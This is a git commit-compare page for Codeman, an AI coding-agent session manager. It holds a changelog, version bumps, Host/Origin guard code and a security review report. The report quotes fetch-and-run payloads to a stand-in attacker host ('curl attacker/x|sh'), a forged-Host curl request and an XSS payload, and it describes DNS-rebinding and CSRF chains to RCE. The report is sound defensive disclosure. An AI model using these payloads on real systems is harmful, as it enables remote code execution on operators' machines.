mirror of
https://github.com/Ark0N/Codeman.git
synced 2026-09-30 20:49:41 +02:00
Compare commits
2
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
e82e38e68d | ||
|
|
c669518ba0 |
@@ -1,5 +1,18 @@
|
||||
# aicodeman
|
||||
|
||||
## 0.9.5
|
||||
|
||||
### Patch Changes
|
||||
|
||||
- Security hardening from the 2026-06-09 adversarial review — close the remote-exploit paths that affected the default (loopback + no-password) configuration. Full report: `docs/reports/security-review-2026-06-09.md`.
|
||||
- **Anti-DNS-rebinding Host allowlist (always on).** A new request guard rejects requests whose `Host` is a custom domain rebound to a loopback/LAN address — previously a website the operator merely visited could DNS-rebind to `127.0.0.1` and drive the entire API (arbitrary command execution, since sessions run `--dangerously-skip-permissions`). The allowlist accepts `localhost`, any bare IP literal, the bind host, `*.ts.net` / `*.trycloudflare.com` / `*.cfargotunnel.com`, the active managed tunnel, and anything in the new `CODEMAN_ALLOWED_HOSTS` env var (comma-separated; `host` or leading-dot `.suffix`).
|
||||
- **Cross-site (CSRF) Origin guard on all state-changing requests.** Forged cross-site requests are rejected; a missing `Origin` is allowed so `curl`/CLI automation and Claude Code hooks keep working. This closes the previously CSRF-triggerable self-update, session create/input, and settings/tunnel-toggle endpoints.
|
||||
- **`text/plain` body parser no longer JSON-parses every request body** (which let a cross-site "simple request" submit JSON with no CORS preflight). The crash-diagnostics beacon now parses its own body.
|
||||
- **WebSocket terminal upgrade now validates `Origin`/`Host`** (blocks cross-site WebSocket hijacking that could inject keystrokes into a running agent).
|
||||
- **Stored-XSS fix:** AI-/transcript-derived fields (tool name, tool detail, tool id, hook text) in the subagent activity panel are now HTML-escaped.
|
||||
|
||||
Operational note: if you front Codeman with a custom reverse-proxy domain, allow it via `CODEMAN_ALLOWED_HOSTS=host,.suffix`. Setting `CODEMAN_PASSWORD` also fully mitigates these via the existing auth hook.
|
||||
|
||||
## 0.9.4
|
||||
|
||||
### Patch Changes
|
||||
|
||||
@@ -56,7 +56,7 @@ When user says "COM":
|
||||
|
||||
CI runs `npm run check:lockfile` on every push/PR, so lockfile drift fails the build even if the `version-packages` script is bypassed.
|
||||
|
||||
**Version**: 0.9.4 (must match `package.json`)
|
||||
**Version**: 0.9.5 (must match `package.json`)
|
||||
|
||||
## Project Overview
|
||||
|
||||
@@ -126,9 +126,9 @@ Codeman is a Claude Code session manager with web interface and autonomous Ralph
|
||||
| **State** | `src/state-store.ts`, `src/run-summary.ts`, `src/session-lifecycle-log.ts` | |
|
||||
| **Infra** | `src/hooks-config.ts`, `src/push-store.ts`, `src/tunnel-manager.ts`, `src/image-watcher.ts`, `src/file-stream-manager.ts` | |
|
||||
| **Plan** | `src/plan-orchestrator.ts`, `src/prompts/*.ts`, `src/templates/claude-md.ts` | |
|
||||
| **Web** | `src/web/server.ts`, `src/web/sse-events.ts`, `src/web/routes/*.ts` (15 route modules + barrel), `src/web/route-helpers.ts`, `src/web/ports/*.ts`, `src/web/middleware/auth.ts`, `src/web/schemas.ts` | |
|
||||
| **Web** | `src/web/server.ts`, `src/web/sse-events.ts`, `src/web/routes/*.ts` (15 route modules + barrel), `src/web/route-helpers.ts`, `src/web/ports/*.ts`, `src/web/middleware/auth.ts`, `src/web/schemas.ts`, `src/web/self-update.ts` | |
|
||||
| **Frontend** | `src/web/public/app.js` (~3.4K lines, core) + 5 infra modules (`constants.js`, `mobile-handlers.js`, `voice-input.js`, `notification-manager.js`, `keyboard-accessory.js`) + 7 domain modules (`terminal-ui.js`, `respawn-ui.js`, `ralph-panel.js`, `orchestrator-panel.js`, `settings-ui.js`, `panels-ui.js`, `session-ui.js`) + 5 feature modules (`ralph-wizard.js`, `api-client.js`, `subagent-windows.js`, `input-cjk.js`, `image-input.js`) + `sw.js` | |
|
||||
| **Types** | `src/types/index.ts` (barrel) → 14 domain files; also `src/types.ts` root re-export | See `@fileoverview` in index.ts |
|
||||
| **Types** | `src/types/index.ts` (barrel) → 15 domain files; also `src/types.ts` root re-export | See `@fileoverview` in index.ts |
|
||||
|
||||
★ = Large file (>50KB). All files have `@fileoverview` JSDoc — read that before diving in. Discovery aid: `grep -l '@fileoverview' src/web/routes/*.ts` lists all route modules; same grep works for `src/types/`, `src/web/public/*.js`.
|
||||
|
||||
@@ -159,6 +159,8 @@ Codeman is a Claude Code session manager with web interface and autonomous Ralph
|
||||
|
||||
**Circuit breaker**: Prevents respawn thrashing. States: `CLOSED` → `HALF_OPEN` → `OPEN`. Reset: `/api/sessions/:id/ralph-circuit-breaker/reset`.
|
||||
|
||||
**Self-update** (App Settings → Updates): in-app updater for **git-clone installs** supervised by systemd/launchd. The update restarts the very process running it, so the real work runs in a DETACHED `scripts/self-update.sh` (`git checkout <release tag> && npm install && npm run build && restart`) that outlives the restart; it writes progress to `dataPath('update-status.json')`, which the browser polls across the connection drop. Channel = latest `codeman@X.Y.Z` release tag; dirty trees are auto-stashed. `src/web/self-update.ts` splits PURE helpers (semver/tag parsing, reconcile decision — unit-tested) from IO wrappers (`getInstallInfo`/`checkForUpdate`/`startUpdate`/`reconcileUpdateOnBoot`). Routes: `GET /api/system/update/check`, `POST /api/system/update`, `GET /api/system/update/status`. Types: `src/types/update.ts`. npm installs report as non-updatable.
|
||||
|
||||
**Port interfaces**: Routes declare dependencies via port interfaces (`src/web/ports/`). Routes use intersection types (e.g., `SessionPort & EventPort`).
|
||||
|
||||
### Frontend
|
||||
@@ -199,7 +201,7 @@ Frontend JS modules have `@fileoverview` with `@dependency`/`@loadorder` tags. L
|
||||
|
||||
### API Routes
|
||||
|
||||
~130 handlers across 15 route files in `src/web/routes/`: system (37, incl. `POST /api/system/span-displays` → spawns `scripts/span-codeman.sh`), sessions (28), orchestrator (10), cases (9), ralph (9), plan (8), respawn (7), files (6), mux (5), push (4), scheduled (4), teams (2), hooks (1), clipboard (1), ws (1 WebSocket). Each file has `@fileoverview` with endpoint details.
|
||||
~134 handlers across 15 route files in `src/web/routes/`: system (40, incl. self-update `check`/`status`/`POST /api/system/update` + `POST /api/system/span-displays` → spawns `scripts/span-codeman.sh`), sessions (28), orchestrator (10), cases (9), ralph (9), plan (8), respawn (7), files (6), mux (5), push (4), scheduled (4), teams (2), hooks (1), clipboard (1), ws (1 WebSocket). Each file has `@fileoverview` with endpoint details.
|
||||
|
||||
## Adding Features
|
||||
|
||||
@@ -214,7 +216,7 @@ Frontend JS modules have `@fileoverview` with `@dependency`/`@loadorder` tags. L
|
||||
|
||||
## State Files
|
||||
|
||||
All in `~/.codeman/`: `state.json` (sessions, settings, respawn), `mux-sessions.json` (tmux recovery), `settings.json` (user prefs), `push-keys.json` (VAPID), `push-subscriptions.json`, `session-lifecycle.jsonl` (audit log).
|
||||
All in `~/.codeman/`: `state.json` (sessions, settings, respawn), `mux-sessions.json` (tmux recovery), `settings.json` (user prefs), `push-keys.json` (VAPID), `push-subscriptions.json`, `session-lifecycle.jsonl` (audit log), `update-status.json` (self-updater progress, polled across the service restart).
|
||||
|
||||
## Testing
|
||||
|
||||
|
||||
@@ -0,0 +1,138 @@
|
||||
# Codeman Security Review — 2026-06-09
|
||||
|
||||
**Scope:** whole codebase (branch `master`, v0.9.4). Adversarial multi-agent review: 10 dimension specialists → diverse-lens skeptic verification of every finding (HIGH/CRITICAL got 3 independent refutation passes) → completeness-critic sweep. 47 raw findings → **25 survived verification** (+1 from the critic). 22 were refuted (mostly "already inside the OS trust boundary" same-uid claims and doc-accuracy nits). Several exploits were **confirmed live** with `curl` against throwaway test ports.
|
||||
|
||||
## TL;DR — the one thing that matters
|
||||
|
||||
The default, *documented-as-safe* configuration (loopback bind + no `CODEMAN_PASSWORD`) is **remotely exploitable to RCE by any website the operator merely visits.** Every session runs `--dangerously-skip-permissions`, so "send input to a session" == "run arbitrary shell as the operator." Two missing, standard controls cause almost all of the serious findings:
|
||||
|
||||
- **(A) No `Host`-header allowlist** → DNS-rebinding turns a malicious page into a same-origin client of `127.0.0.1`.
|
||||
- **(B) No global Origin/CSRF check on state-changing routes, plus a global `text/plain` body parser** → a plain cross-site `fetch` (a CORS "simple request", no preflight) submits JSON to the API. Write-only access is enough for RCE.
|
||||
|
||||
Fix (A) + (B) + drop CSP `unsafe-inline` / escape the subagent panel, and the two CRITICALs and 5 of the 7 HIGHs collapse.
|
||||
|
||||
> Note: this is *not* a claim that the existing trust model is wrongly documented. `docs/security-architecture.md` is unusually honest. The problem is that the model assumes "loopback + no password" is safe against a browsing operator — and the browser (DNS rebinding + the text/plain parser) breaks that assumption.
|
||||
|
||||
---
|
||||
|
||||
## CRITICAL
|
||||
|
||||
### C1 — No `Host`-header allowlist → DNS rebinding → full API → RCE (default no-auth install)
|
||||
`src/web/server.ts:1697` (listen, no host validation) · `src/web/middleware/auth.ts:163-211` (no Host check). Actor: A2 (malicious website) ⇒ A1-equivalent RCE. **3/3 verifiers confirmed; live-confirmed.**
|
||||
|
||||
A page on `evil.example` (DNS TTL≈1s) is loaded by the operator, then DNS is rebound to `127.0.0.1`. Subsequent `fetch('http://evil.example:3000/...')` are now **same-origin** with Codeman (so CORS never engages), and with no password there are no credentials to miss. The page does `POST /api/sessions {workingDir}` → reads the session id from the same-origin response → `POST /api/sessions/<id>/input {input:"curl attacker/x|sh\r"}`. Confirmed: `curl -H 'Host: attacker.evil.com' -X POST -d '{"workingDir":"/tmp"}' http://127.0.0.1:<port>/api/sessions` → `200`.
|
||||
|
||||
**Fix:** early `onRequest` hook (before routing) that rejects any request whose `Host` is not in `{localhost, 127.0.0.1, ::1, configured --host, CODEMAN_ALLOWED_HOSTS}` with `403`. This is *the* standard anti-rebinding control for localhost dev servers and the single highest-value fix.
|
||||
|
||||
### C2 — Global `text/plain` content-type parser JSON-parses every body → cross-site CSRF *without* rebinding
|
||||
`src/web/server.ts:710-716`. Actor: A2. **3/3 verifiers confirmed; live-confirmed.**
|
||||
|
||||
A global parser registered for `text/plain` runs `JSON.parse` on the body of **every** route. `text/plain` is a CORS *simple* content type, so a cross-origin `fetch(..., {method:'POST', headers:{'Content-Type':'text/plain'}, body:'{...}'})` reaches the handler **with no preflight**. SameSite=lax + reflected-CORS don't help: on the no-auth default there's no cookie to gate, and the side effect happens regardless of whether the attacker can read the response. Confirmed: cross-origin (`Origin: https://evil.com`) `POST /api/sessions` with `Content-Type: text/plain` → `200` (session created); same against `/input` parsed+validated the JSON body.
|
||||
|
||||
**Fix:** remove the global `text/plain` JSON parser (parse the one crash-diagnostics body inside its own handler), **and** add a global same-origin/CSRF guard on all non-GET routes (see H3). Combine with C1's Host allowlist so the host comparison itself can't be rebound.
|
||||
|
||||
---
|
||||
|
||||
## HIGH
|
||||
|
||||
### H1 — Self-update is unauthenticated/CSRF-triggerable → forced update + RCE pivot
|
||||
`src/web/routes/system-routes.ts:313`. Actor: A1/A2. **3/3 confirmed.**
|
||||
`fetch('http://127.0.0.1:3000/api/system/update',{method:'POST',mode:'no-cors'})` from any page (no body, no preflight) kicks off the detached updater on a no-password install. On its own: forced pull/rebuild/restart (availability + forces the latest tag). Chained with H2: full RCE.
|
||||
**Fix:** require Origin/CSRF on this route *independent of the password*; refuse self-update when no password is set; mint a confirmation token via a prior GET.
|
||||
|
||||
### H2 — Self-updater builds an **unsigned, unverified** git tag (no signature / commit pin) *(contested 2/3)*
|
||||
`scripts/self-update.sh:139`. Actor: A5 + A1/A2 trigger.
|
||||
`isValidReleaseTag` validates only the *tag name* (`^(codeman|aicodeman)@\d+\.\d+\.\d+$`) and version ordering — never the commit. Anyone who can push a `codeman@9.9.9` tag (or compromise release CI) gets `git checkout --force` + `npm install` (arbitrary lifecycle scripts) + build + restart, as the operator. One verifier refuted on the basis that the *trigger* is auth-gated when a password is set — true, but the default has no password and H1 supplies the trigger.
|
||||
**Fix:** verify integrity, not just the name — GPG-signed tags (`git verify-tag` against a shipped maintainer key) or pin to a SHA published out-of-band; `npm ci --ignore-scripts` + an explicit audited build step; pin the remote to the expected GitHub repo.
|
||||
|
||||
### H3 — CSRF/Origin validation exists on exactly one route; the RCE-enabling routes have none
|
||||
`src/web/routes/session-routes.ts:1570-1600` (only `paste-image` is protected) vs `:229` create, `:595` input, `:635` send-key, `:404` delete. Actor: A2. **3/3 confirmed.**
|
||||
The team clearly knows the correct control (it's on `paste-image`) but didn't apply it broadly.
|
||||
**Fix:** a shared `onRequest` guard for all non-GET API routes: `Origin`/`Referer` host ∈ Host allowlist **and** `Sec-Fetch-Site == same-origin`. Global, not per-route.
|
||||
|
||||
### H4 — Stored XSS in the subagent activity panel (raw AI tool name/inputs → `innerHTML`; `unsafe-inline` ⇒ executes)
|
||||
`src/web/public/panels-ui.js:808-811` (and `:1403`). Actor: A3 (AI/subagent/MCP output), reachable by A1/A2. **3/3 confirmed.**
|
||||
`renderSubagentDetail()` sets `innerHTML` with un-escaped `a.tool`, `toolDetail.primary`, `displayText`. A subagent tool **name** (no length cap) or a short Bash command like `<img src=x onerror=...>` (28 chars, under the 100-char input truncation) is parsed as HTML in the operator's DOM; CSP `unsafe-inline` lets the `onerror` run → reads cookies, drives every same-origin API (i.e. types commands into a skip-permissions session), or hits the self-updater. `_renderActivityItem` is inconsistent: line 1404 escapes, line 1403 doesn't.
|
||||
**Fix:** `escapeHtml()` those fields at the sink; and drop `unsafe-inline` from `script-src` (move inline handlers to `addEventListener`/nonce) so a missed escape can't execute.
|
||||
|
||||
### H5 — WebSocket terminal route has no Origin/Host check (CSWSH + rebinding → drives skip-permissions agent)
|
||||
`src/web/routes/ws-routes.ts:62`. Actor: A2 / A1-via-tunnel. **3/3 confirmed.**
|
||||
WS upgrades aren't subject to SOP; with no password and no Origin/Host check, a cross-site page (or rebound origin) opens `ws://host/ws/sessions/<id>/terminal` and sends `{"t":"i","d":"curl attacker/x|bash\r"}`.
|
||||
**Fix:** validate `Origin` + `Host` on the upgrade, `socket.close(4003)` on mismatch (reuse the loopback-origin logic + the C1 Host allowlist).
|
||||
|
||||
### H6 — `PUT /api/settings {tunnelEnabled:true}` spawns a public cloudflared tunnel (CSRF/rebinding publishes the authless instance) *(completeness-critic find)*
|
||||
`src/web/routes/system-routes.ts:523-535`. Actor: A2 ⇒ A1. **Confirmed; no CSRF on this route.**
|
||||
If `cloudflared` is installed (the project encourages it), a cross-site `PUT` flips on a tunnel; the public `*.trycloudflare.com` URL is broadcast over SSE and exposed at `GET /api/tunnel/info` / `/api/tunnel/qr`. The attacker reads it → unauthenticated **internet** access to the skip-permissions API.
|
||||
**Fix:** treat tunnel-start as privileged — CSRF/Origin check on `PUT /api/settings`; refuse to start a tunnel when `CODEMAN_PASSWORD` is unset; don't echo the public URL on unauthenticated endpoints.
|
||||
|
||||
### (H→operational) The no-password default *is* the unauthenticated RCE surface once reachable off-host *(contested 2/3)*
|
||||
`src/web/middleware/auth.ts:45-46`. This is the *documented* trust boundary, so it's operational hardening rather than a code bug: on `--host 0.0.0.0`/LAN/tunnel without a password, any client `POST /input` → RCE. **Fix:** fail-closed (or auto-generate+print a random password) when binding non-loopback / starting a tunnel without one; constrain `workingDir` to an allowlist (cases dir / `$HOME`) to shrink blast radius.
|
||||
|
||||
---
|
||||
|
||||
## MEDIUM
|
||||
|
||||
| # | Finding | Location | Fix |
|
||||
|---|---------|----------|-----|
|
||||
| M1 | **Command injection via *discovered* tmux session name** — `muxName` taken verbatim from a live tmux session (only `startsWith('codeman-')` filtered), flows into double-quoted `execSync` in `sessionExists()`/`killSession()` **without** `isValidMuxName`. Reached on boot via `startInteractive→muxSessionExists`. Actor A4 (shared `tmux -L codeman` socket). | `src/tmux-manager.ts:925`, `:1065` | Convert these two sinks to argv form (`execFile('tmux',[...,'-t',muxName])`) like the others, **and/or** reject discovered names failing `SAFE_MUX_NAME_PATTERN` in `reconcileSessions()`. |
|
||||
| M2 | **Forged hook events over a loopback-terminating tunnel** — `/api/hook-event` bypasses auth on loopback IP, but cloudflared/tailscale-serve connect *from* `127.0.0.1` (Fastify `trustProxy:false`). A forged `idle_prompt`/`stop` drives a respawn that injects the operator's update prompt + `/clear` + `/init` into a live skip-permissions session; forged `transcript_path` streams arbitrary readable files to SSE. The in-code comment "prevents forged hook events via tunnel/LAN" is **false**. *(contested 2/3; impact real)* | `src/web/middleware/auth.ts:83-90` | Gate the bypass on a per-boot shared secret in the hook curl (`X-Codeman-Hook-Secret`), not `req.ip`. Require a password when a tunnel is active. Reject `transcript_path` outside the session workingDir. Fix the comment. |
|
||||
| M3 | **Session cookie binds nothing** — recorded `ip`/`ua` never enforced on reuse → stolen-cookie replay from anywhere; no absolute lifetime cap (refresh-on-get extends forever). | `src/web/middleware/auth.ts:102-106` | Compare `record.ip` (+ optional UA hash) on reuse; cap absolute session lifetime. |
|
||||
| M4 | **Non-loopback bind w/o password starts and only warns** (0.9.0 warn-don't-block) → real A1 exposure on misconfig; warning is a one-time stderr line. | `src/web/server.ts:1708-1724`, `src/cli.ts:486-500` | Consider fail-closed default; at minimum log to `session-lifecycle.jsonl` + persistent UI banner. |
|
||||
| M5 | **tail-file SSE route escapes the per-session boundary** — uses a *divergent* validator that `~`-expands and whitelists `/var/log` + `~/logs`, so an authorized caller streams files outside every session's workingDir (e.g. `/var/log/auth.log`). Doc overclaims "all file routes share `validateSessionFilePath`". | `src/web/routes/file-routes.ts:341`, `src/file-stream-manager.ts:400` | Route through `validateSessionFilePath()`, or drop the extra roots + `~` expansion; fix the doc. |
|
||||
| M6 | **Session display name accepts arbitrary chars** (`z.string().max(100)`, no regex) — safe only by downstream escaping (which H4 shows isn't uniform). | `src/web/schemas.ts:135,138,384` | Strip control chars / angle brackets at the schema (defense-in-depth). |
|
||||
| M7 | **Blind SSRF via attacker-supplied web-push endpoint**, triggerable through the loopback-exempt `/api/hook-event` (and via C2/CSRF). Stored endpoint URL is fetched server-side. | `src/web/server.ts:1630` (+ `src/push-store.ts`) | Allowlist known push-service hosts; reject endpoints resolving to loopback/private/link-local/169.254.169.254; re-check IP at send time (rebind-safe). |
|
||||
|
||||
---
|
||||
|
||||
## LOW / INFO (hardening)
|
||||
|
||||
- **L1** QR per-IP failure limiter + oldest-cookie eviction + body-less `/api/auth/revoke` → session/lockout DoS, all amplified behind a shared tunnel IP. `system-routes.ts:182-194` *(contested)*.
|
||||
- **L2 / L3** CSP `script-src 'unsafe-inline'` (nullifies XSS defense-in-depth app-wide) + unused `https://cdn.jsdelivr.net` with no SRI. `auth.ts:170-176` *(contested; tie into H4 fix)*.
|
||||
- **L4** `trustProxy:false` + loopback tunnels defeat the IP-based hook-event exemption (root cause of M2). `auth.ts:79-90`.
|
||||
- **L5** ralph-wizard file route uses bypassable `startsWith()` prefix containment. `case-routes.ts:424`.
|
||||
- **L6** Push subscription store has no cap → unbounded growth. `push-store.ts:70-95`.
|
||||
- **L7** VAPID private key / state / settings / audit log written `0644` in a `775` data dir; the implied `0o700` hardening is a no-op. `config/instance.ts:54` *(contested — A4/same-host only)*.
|
||||
- **L8** Unauthenticated `DELETE /api/sessions[/:id]` on the default install. `session-routes.ts:404` *(contested)*.
|
||||
- **INFO** Wide `record`/`passthrough` schemas allow arbitrary-key mass-assignment into per-instance JSON config. `schemas.ts:505,509-516`.
|
||||
- **INFO** `docs/security-architecture.md:301` overclaims supply-chain hardening and omits the self-updater as a trust surface (see H1/H2).
|
||||
|
||||
---
|
||||
|
||||
## What's solid (credit where due)
|
||||
|
||||
The verifiers **refuted 22** candidate findings — the defenses below held under adversarial scrutiny:
|
||||
|
||||
- **Request-facing command injection is well defended.** Every shell-interpolated value from an HTTP route (`workingDir`, `model`, `allowedTools`, `effort`, `resumeSessionId`, OpenCode config, env-override key/value, span-displays URL, cloudflared port, update tag, tail path) is either argv-form (no shell) or allowlist-regex-validated at the sink. `muxName=codeman-<uuid8>` is server-generated. The only gap is the *discovered*-name path (M1).
|
||||
- **Self-update command construction** is hardened (argv spawn, anchored `isValidReleaseTag`, double-quoted `$TAG`). The weakness is *integrity* (H2), not injection.
|
||||
- **Primary file-read boundary** `validateSessionFilePath` (realpath-before-check + `relative()` containment) correctly resists `../`, absolute paths, symlinks, sibling-prefix tricks; image upload uses `lstat`+`O_NOFOLLOW`+`O_EXCL`.
|
||||
- **Input validation** funnels through Zod + `parseBody`; env-override allowlist enforces the `CLAUDE_CODE_`/`OPENCODE_` prefix **and** a `BLOCKED_ENV_KEYS` set (`PATH`, `LD_PRELOAD`, `NODE_OPTIONS`, …) re-checked at apply time.
|
||||
- **Auth pipeline internals** are competent: timing-safe Basic compare, 256-bit opaque server-side session tokens, rejection-sampled base62 QR codes over 256-bit tokens with single-use atomic consumption, `logger:false` (no credential logging).
|
||||
- **Same-uid "attacks"** (tmux socket input injection, `/proc/<pid>/environ`, tmux `showenv` key disclosure) were refuted as already inside the OS trust boundary — a same-user process can already do anything to its peers.
|
||||
|
||||
---
|
||||
|
||||
## Implementation status (2026-06-09)
|
||||
|
||||
Priority fixes 1–3 + 5 landed in the same session (verified live with curl/ws against an isolated instance):
|
||||
|
||||
- ✅ **C1** — `Host`-header allowlist (`registerHostGuard` in `middleware/auth.ts`, policy in `network-auth-policy.ts`). Allows loopback/any-IP-literal/bind-host/`.ts.net`/`.trycloudflare.com`/`.cfargotunnel.com`/active-tunnel/`CODEMAN_ALLOWED_HOSTS`; rejects rebound custom domains.
|
||||
- ✅ **C2** — global `text/plain` parser no longer JSON-parses (crash-diag self-parses); plus the global cross-site Origin guard.
|
||||
- ✅ **H1, H3, H6** — global Origin/CSRF guard on all non-GET routes (covers self-update, session create/input, settings/tunnel).
|
||||
- ✅ **H4** — escaped all AI-derived sinks in `panels-ui.js` (tool name, tool detail, toolUseId, displayText).
|
||||
- ✅ **H5** — Origin/Host check on the WebSocket upgrade (`ws-routes.ts`).
|
||||
- ⏳ **H2** — deferred: needs signed-tag infra (no maintainer key yet); `npm ci --ignore-scripts` would break node-pty's native build, so not applied blindly.
|
||||
- ⏳ **CSP `unsafe-inline` removal** — deferred: inline `onclick=` handlers are pervasive; needs a nonce migration (H4's sink-escaping already neutralizes the known XSS).
|
||||
|
||||
Tests: `test/network-host-guard.test.ts` (19), `test/routes/ws-routes.test.ts` (22). Operational note: any custom reverse-proxy domain must be added via `CODEMAN_ALLOWED_HOSTS=host,.suffix`.
|
||||
|
||||
## Remediation priority
|
||||
|
||||
1. **Add a `Host`-header allowlist** (`onRequest`, pre-routing). → kills C1, blunts H5/H6 rebinding. *Highest value, smallest change.*
|
||||
2. **Remove the global `text/plain` JSON parser + add a global same-origin/CSRF guard** on all non-GET routes. → kills C2, H1, H3, H6; blunts M7. Reuse the `paste-image` pattern globally.
|
||||
3. **Drop CSP `unsafe-inline` and `escapeHtml()` the subagent panel fields** (`panels-ui.js:808-811,1403`). → kills H4, closes L2/L3.
|
||||
4. **Add tag-signature/commit verification to the self-updater** + `npm ci --ignore-scripts`. → kills H2.
|
||||
5. **Validate Origin/Host on the WS upgrade** (`ws-routes.ts:62`). → kills H5.
|
||||
6. **Refuse to start a tunnel / non-loopback bind without a password** (or auto-generate one). → closes the operational HIGH + M4 + H6's precondition.
|
||||
7. Sweep the MEDIUMs: M1 (argv tmux sinks), M2 (hook secret), M5 (tail validator), M7 (push SSRF allowlist).
|
||||
|
||||
*Generated by an automated adversarial multi-agent review (97 agents, ~4.8M tokens). Findings were independently verified but should be confirmed by a human before remediation; the live-confirmed exploits (C1, C2) are the highest-confidence items.*
|
||||
Generated
+2
-2
@@ -1,12 +1,12 @@
|
||||
{
|
||||
"name": "aicodeman",
|
||||
"version": "0.9.4",
|
||||
"version": "0.9.5",
|
||||
"lockfileVersion": 3,
|
||||
"requires": true,
|
||||
"packages": {
|
||||
"": {
|
||||
"name": "aicodeman",
|
||||
"version": "0.9.4",
|
||||
"version": "0.9.5",
|
||||
"hasInstallScript": true,
|
||||
"license": "MIT",
|
||||
"workspaces": [
|
||||
|
||||
+1
-1
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"name": "aicodeman",
|
||||
"version": "0.9.4",
|
||||
"version": "0.9.5",
|
||||
"description": "The missing control plane for AI coding agents - run 20 autonomous agents with real-time monitoring and session persistence",
|
||||
"type": "module",
|
||||
"main": "dist/index.js",
|
||||
|
||||
@@ -12,6 +12,7 @@ import type { FastifyInstance, FastifyReply } from 'fastify';
|
||||
import { randomBytes, timingSafeEqual } from 'node:crypto';
|
||||
import { StaleExpirationMap } from '../../utils/index.js';
|
||||
import type { AuthSessionRecord } from '../ports/auth-port.js';
|
||||
import { isAllowedRequestHost, isAllowedRequestOrigin, type HostPolicy } from '../network-auth-policy.js';
|
||||
import {
|
||||
AUTH_SESSION_TTL_MS,
|
||||
MAX_AUTH_SESSIONS,
|
||||
@@ -157,6 +158,40 @@ export function registerAuthMiddleware(app: FastifyInstance, https: boolean): Au
|
||||
return state;
|
||||
}
|
||||
|
||||
/** Methods that don't change server state and so skip the cross-site Origin check. */
|
||||
const SAFE_HTTP_METHODS = new Set(['GET', 'HEAD', 'OPTIONS']);
|
||||
|
||||
/**
|
||||
* Register the anti-DNS-rebinding Host allowlist + cross-site (CSRF) Origin guard.
|
||||
*
|
||||
* This protects the API even on the default no-password install, where there is no
|
||||
* cookie/credential to gate on. It must be registered BEFORE the auth middleware so
|
||||
* forged cross-site or DNS-rebound requests are rejected up front. `getPolicy` is
|
||||
* evaluated per request so a tunnel started at runtime is reflected immediately.
|
||||
*
|
||||
* - Every request: the `Host` header must be in the allowlist (blocks DNS rebinding,
|
||||
* where a custom domain is rebound to 127.0.0.1 but still sends its own name).
|
||||
* - State-changing methods: the `Origin` (when the client sends one — i.e. a browser)
|
||||
* must be same-site (blocks cross-site CSRF, including the text/plain simple-request
|
||||
* trick). Non-browser clients (curl, Claude Code hooks) omit Origin and pass.
|
||||
*
|
||||
* WebSocket upgrades are validated separately in the ws route handler.
|
||||
*/
|
||||
export function registerHostGuard(app: FastifyInstance, getPolicy: () => HostPolicy): void {
|
||||
app.addHook('onRequest', (req, reply, done) => {
|
||||
const policy = getPolicy();
|
||||
if (!isAllowedRequestHost(req.headers.host, policy)) {
|
||||
reply.code(403).send('Forbidden: host not allowed');
|
||||
return;
|
||||
}
|
||||
if (!SAFE_HTTP_METHODS.has(req.method) && !isAllowedRequestOrigin(req.headers.origin, policy)) {
|
||||
reply.code(403).send('Forbidden: cross-site request blocked');
|
||||
return;
|
||||
}
|
||||
done();
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* Register security headers and CORS middleware on every response.
|
||||
*/
|
||||
|
||||
@@ -19,3 +19,112 @@ export function isLoopbackBindHost(host: string): boolean {
|
||||
}
|
||||
return normalized.startsWith('::ffff:127.');
|
||||
}
|
||||
|
||||
/**
|
||||
* Hostname suffixes that are always accepted by the Host/Origin allowlist. These
|
||||
* are namespaces an external attacker cannot register DNS-rebinding records under
|
||||
* (tailscale MagicDNS, Cloudflare quick/named tunnels), so accepting them keeps
|
||||
* the project's documented tunnel access paths working without reopening the
|
||||
* rebinding hole. Extend per-deployment via CODEMAN_ALLOWED_HOSTS.
|
||||
*/
|
||||
export const DEFAULT_TRUSTED_HOST_SUFFIXES = ['.ts.net', '.trycloudflare.com', '.cfargotunnel.com'];
|
||||
|
||||
/** Policy inputs for the anti-DNS-rebinding Host allowlist + cross-site Origin guard. */
|
||||
export interface HostPolicy {
|
||||
/** The host the server is bound to (e.g. '127.0.0.1', '0.0.0.0', or a hostname). */
|
||||
bindHost: string;
|
||||
/** Extra allowed hosts: exact lowercased names, or a leading-dot '.suffix' for suffix matches. */
|
||||
allowedHosts: string[];
|
||||
/** Hostname of the currently-active Codeman-managed tunnel, if any. */
|
||||
tunnelHost?: string | null;
|
||||
}
|
||||
|
||||
/**
|
||||
* Extract the lowercased hostname from a Host/authority value, stripping the port
|
||||
* and IPv6 brackets. Returns null for empty/garbage input.
|
||||
*/
|
||||
export function parseAuthorityHostname(authority: string | undefined): string | null {
|
||||
if (!authority) return null;
|
||||
let h = authority.trim();
|
||||
if (!h) return null;
|
||||
if (h.startsWith('[')) {
|
||||
// [::1] or [::1]:3000
|
||||
const end = h.indexOf(']');
|
||||
if (end === -1) return null;
|
||||
return h.slice(1, end).toLowerCase() || null;
|
||||
}
|
||||
// host:port — only treat a single trailing colon as a port separator so a
|
||||
// bracketless IPv6 literal (multiple colons) is left intact.
|
||||
const first = h.indexOf(':');
|
||||
if (first !== -1 && first === h.lastIndexOf(':')) {
|
||||
h = h.slice(0, first);
|
||||
}
|
||||
return h.toLowerCase() || null;
|
||||
}
|
||||
|
||||
/** Build a HostPolicy from the bind host, CODEMAN_ALLOWED_HOSTS, and an active tunnel URL. */
|
||||
export function buildHostPolicy(bindHost: string, tunnelUrl?: string | null): HostPolicy {
|
||||
const allowedHosts = (process.env.CODEMAN_ALLOWED_HOSTS || '')
|
||||
.split(',')
|
||||
.map((s) => s.trim().toLowerCase())
|
||||
.filter(Boolean);
|
||||
let tunnelHost: string | null = null;
|
||||
if (tunnelUrl) {
|
||||
try {
|
||||
tunnelHost = new URL(tunnelUrl).hostname.toLowerCase();
|
||||
} catch {
|
||||
tunnelHost = null;
|
||||
}
|
||||
}
|
||||
return { bindHost, allowedHosts, tunnelHost };
|
||||
}
|
||||
|
||||
function matchesHost(hostname: string, policy: HostPolicy): boolean {
|
||||
// localhost is reserved (always resolves to loopback, not rebindable).
|
||||
if (hostname === 'localhost') return true;
|
||||
// Any IP literal: a literal address cannot be the target of DNS rebinding — the
|
||||
// browser connected straight to it, there is no name to re-point.
|
||||
if (isIP(hostname) !== 0) return true;
|
||||
const bind = parseAuthorityHostname(policy.bindHost);
|
||||
if (bind && hostname === bind) return true;
|
||||
if (policy.tunnelHost && hostname === policy.tunnelHost) return true;
|
||||
